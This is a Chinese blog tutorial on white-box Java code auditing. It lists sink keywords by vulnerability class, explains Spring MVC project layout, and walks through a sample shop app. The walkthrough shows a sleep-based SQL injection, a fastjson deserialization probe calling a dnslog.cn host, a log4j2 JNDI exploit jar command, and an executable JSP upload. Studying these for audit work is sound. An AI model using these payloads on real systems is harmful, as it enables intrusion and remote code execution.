代码审计之路之白盒挖掘机

VSole2023-01-07 09:34:28

Java审计其实和Php审计的思路一样,唯一不同的可能是复杂的框架和代码。

1.正向跟踪

从数据层查找变量,一级一级调用,最后到控制器,这种相对简单、快速。

2.逆向思维,追踪变量,对象调用

查找变量,有没有传参数,是谁调用了这个变量,又是谁调用了这个方法,先从控制器找变量,然后逆着找方法,调用关系,最后到DAO层数据。这种方法一般比较浪费时间,跟踪到最后可能发现变量不可控。

3.直接挖掘漏洞点

比如搭建后,访问平台,发现有上传的功能,直接去控制器找上传相关代码,进行审计。

4.通读全文代码

这是最纯粹、最直接的方式。但是可能会遇到一个问题——看不懂代码。

怎么解决?这个我也不知道,我也看不懂......

关键字定位SQL注入

大多数JavaEE网站,用的相对多的是SpringMVC架构,那么用到的Mybatis框架就会比较多,所以搜索SQL关键字就是"${}"优先,其次是以下的关键字。

如果是SpringBoot ,可能会使用注解等方式,如:

@query(selectid from user where name = ?);

以上语句写了"?",则代表是预编译语句,就不会产生注入,如果写的是变量,就可能产生注入了。 

${}
select
insert
update
in
like
obderby
statement

文件上传

在文件上传功能中,先看框架——比如Spring框架,默认不会解析jsp文件。然后看代码有没有定义黑名单数组等等。

org.apache.comons.fileupload
file
xxxstream
RequestMethod
MultipartHttpServletRequest

xss

getParamter
<%=
param
el表达式

目录遍历

path
System.GetProperty("yser.dir")
fileInputStream
file.read
filePath

xml注入类似xxe

DocumentBuilder
XMLStreamReader
SAXBuilder
SAXParserSAXReader 
XMLReader
SAXSource
TransformerFactory
SAXTransformerFactory
SchemaFactory

命令执行

ProcessBuilder
start
Runtime
getRuntime
exec

序列化

readObject
readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject

任意文件删除

delete

逻辑漏洞没什么关键字,可以去看User控制器,或者看过滤器,寻找有无校验。

MVC模式讲解

MVC模式是一种软件框架模式,被广泛应用在JavaEE项目的开发中。

MVC即模型(Model)、视图(View)、控制器(Controller)。

模型(Model)

模型是用于处理数据逻辑的部分。

所谓数据逻辑,也就是数据的映射以及对数据的增删改查,Bean、DAO(dataaccess object,数据访问对象)等都属于模型部分。

视图(View)

视图负责数据与其它信息的显示,也就是给用户看到的页面。

HTML、JSP等页面都可以作为视图。

控制器(controller)

控制器是模型与视图之间的桥梁,控制着数据与用户的交互。

控制器通常负责从视图读取数据,处理用户输入,并向模型发送数据,也可以从模型中读取数据,再发送给视图,由视图显示。

首先要了解项目整体结构。大致了解作者编写逻辑,搞清请求流程。

src/main下面有两个目录,分别是java和resources,java目录中主要存放的是java代码,resources目录中主要存放的是资源文件,比如:html、js、css等。

在Java目录下还有其他一些常见目录,具体含义整理如下:

/java目录下

annotation:放置项目自定义注解;

controller/: 存放控制器,接收从前端传来的参数,对访问控制进行转发、各类基本参数校验或者不复用的业务简单处理等;

dao/: 数据访问层,与数据库进行交互,负责数据库操作,在Mybaits框架中存放自定义的Mapper接口;

entity/: 存放实体类;

interceptor/: 拦截器;

service/:存放服务类,负责业务模块逻辑处理。Service层中有两种类,一是Service,用来声明接口;二是ServiceImpl,作为实现类实现接口中的方法;

utils/: 存放工具类;

dto/: 存放数据传输对象(DataTransfer Object),如请求参数和返回结果;

vo/: 视图对象(ViewObject)用于封装客户端请求的数据,防止部分数据泄漏,保证数据安全

constant/: 存放常量;

filter/: 存放过滤器。

/resources目录下

mapper/:存放Mybaits的mapper.xml文件;

static/:存放静态资源文件目录(Javascript、CSS、图片等),在这个目录中的所有文件可以被直接访问;

templates/: 存放模版文件;

application.properties或application.yml:Spring Boot:默认配置文件。

代码跟踪流程

用户请求URL发送到服务器,服务器解析请求后发送到后端代码处理请求。

在后端代码处,首先经过Filter(过滤器)和Interceptor(拦截器),然后根据请求的URL映射到绑定的Controller,之后调用Service接口类,然后再调用serviceImpl接口实现类,最后调用DAO。

controller:负责简单的逻辑处理和参数校验功能,之后调用Service;

service:接口类,主要负责业务模块逻辑处理;

serviceImpl:接口实现类,实现类实现service接口中的方法;

DAO:如果service涉及数据库操作就会调用DAO。DAO主要处理数据库操作。DAO只做中间传递角色,

环境搭建

以某项目为例。

配置maven环境,更改中文镜像:

选择pom.xml重载项目 会自动加载依赖:

找到配置文件更改端口,数据库信息等,找到sqls文件夹,创建数据库导入数据即可:

等pom.xml页面没有爆红,并且自己显示了绿色按钮就可以开启环境了:

启动项目:

漏洞挖掘SQL注入P1

因为用了mybatis框架,所以先搜索看看有没有使用不安全的符号进行传参:

总共发现了五个,选择第一个开始审计:

参数点在88行,向上寻找调用语句:

上面图片中,88为变量所在行数,向上寻找select参数,发现是在55行,点击箭头,即可跳转到对应的接口类。

继续寻找,点击方法:

先在漏洞点打上断点,标记下:

然后找方法:

RequestMapping 是映射的路径,浏览器访问试试:

找到对应的页面:

注意这些字段,orderby是通过web传参,isdesc默认是true:

然后orderutil默认null,判断orderby是否为空,不为空则执行打印,然后吧数据带入到orderutil,再然后带入断点的地方:

查看此方法,没有做过滤:

Web抓包进行测试,默认是空的,加上sleep(4),延迟有点高:

sqlmap验证:

SQL注入P2

经过上面的流程,我们大致知道审计步骤了,那再尝试一个:

可以发现 和刚才的一样:

剩下的也是同样的思路。

fastjson反序列化

搜索关键字:

又回到了刚才的代码:

上方的注释告诉我们,这是在产品添加功能。

把鼠标放到数据里,会显示原数据格式,是json没错了:

dnslog探测:

{"@type":"java.net.Inet4Address","val":"bb1e2x.dnslog.cn"}
url编码
%7B%22%40%74%79%70%65%22%3A%22%6A%61%76%61%2E%6E%65%74%2E%49%6E%65%74%34%41%64%64%72%65%73%73%22%2C%22%76%61%6C%22%3A%22%62%62%31%65%32%78%2E%64%6E%73%6C%6F%67%2E%63%6E%22%7D

log4j2远程代码执行

搜索关键字info、error、logger等,找变量拼接:

获取的是个整数不是字符串,这个就不能被控制。接着找。找了一圈,终于找到有字符串的了:

来到上传头像的地方,抓包:

获取了数据but dnslog,没数据看了下jdk,原来版本太高了,换一下版本,发现仍然不行。尝试弹计算器,结果成功:

java-jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open/System/Applications/Calculator.app" -A "172.16.183.129"

任意文件上传

同上,就是头像上传功能:

获取文件名,然后去掉多余的“.”。名字是随机的uuid,拼接路径,然后上传,没有做过滤。

上传一个jsp试试:

/tmall/res/images/item/userProfilePicture/e4b3a476-a492-446b-b033-e54f4b152c7c.jsp

发现jsp被执行了,为什么?因为在pom添加了解析库,大多数项目是不会添加的:

反射xss

牢记四字:见框就插。

总结

有任何问题,可以在评论区留言,我们共同探讨,共同进步!

变量
本作品采用《CC 协议》,转载必须注明作者和本文链接
俄乌战争正在重塑网络空间对抗格局​
angr符号变量转LLVM IR
2022-05-12 16:13:42
关于如何处理虚拟机的,并给出了针对tigress虚拟机的攻击方法。从而实现了将expr lift到llvm的ir。claripy的表示中有很多种操作,这里列出两种常见又难以处理的操作。
动态函数PHP中支持一个功能叫 variable function ,变量函数的意思。//最终是system;当一个变量后边带括号,那他就被视作一个函数。编译器会解析出变量的值,然后会去找当前是否存在名为“system()”的函数并执行它。这里就不给实例了,很多免杀案例中都用到了这个特性。也是被疯狂查杀的特征。回调函数回调函数,简单来说就是一个函数不是由我直接调用,而是通过另一个函数去调用它。
近日,Mozilla 检测到 Firefox 出现了大量崩溃事件,这个问题主要发生在使用 Linux 系统的用户身上,尤其是使用基于旧版本 Debian 的 Linux 系统上。经过调查,Mozilla 最后发现这个问题并非由 Firefox 本身引起,而是涉及到 Linux 内核和 Google 的 JavaScript 代码。崩溃事件也并不是随机发生,而是能够 100% 复现。Mozilla 随后开始分析 Firefox 在崩溃时的行为,发现崩溃发生在堆栈探测期间。这个问题在 Linux 4.20 中被修复了,所以使用较新的发行版的用户不受影响。
系统安全第40篇文章介绍PowerShell基础知识,希望您喜欢
Python人工智能第11篇文章介绍如何保存神经网络参数
数据安全成为影响国家安全的一大变量据悉,6月22日,西北工业大学发布《公开声明》称,该校遭受境外网络攻击。陕西省西安市公安局碑林分局随即发布警情通报,证实在西北工业大学的信息网络中发现了多款源于境外的木马样本,西安警方已对此正式立案调查。该部门近年来对中国进行了数万次恶意攻击,控制了大量网络设备,超过140GB的高价值数据被盗,就连中国的手机用户也受到美国的监视。
只有执行时才会被调用到内存中!ELF文件由4部分组成,分别是ELF头、程序头表、节和节头表。
漏洞信息`Apache Commons Configuration` 执行变量插值,允许动态评估和扩展属性。从 `2.4` 版开始到 `2.7` 版,默认的 `Lookup` 实例集包括可能导致任意代码执行或与远程服务器联系的插值器。
Pythonos标准库
2022-08-08 09:49:08
os标准库的主要功能系统相关变量操作文件和目录相关操作执行命令和管理进程os.nameos.name打印出来的是当前操作系统import os. os.sepos.sep用来查看当前操作系统支持的分隔符,Mac是/,Windows是\import os. os.path.realpath()和os.path.abspath()用来显示当前文件绝对路径import os
VSole
网络安全专家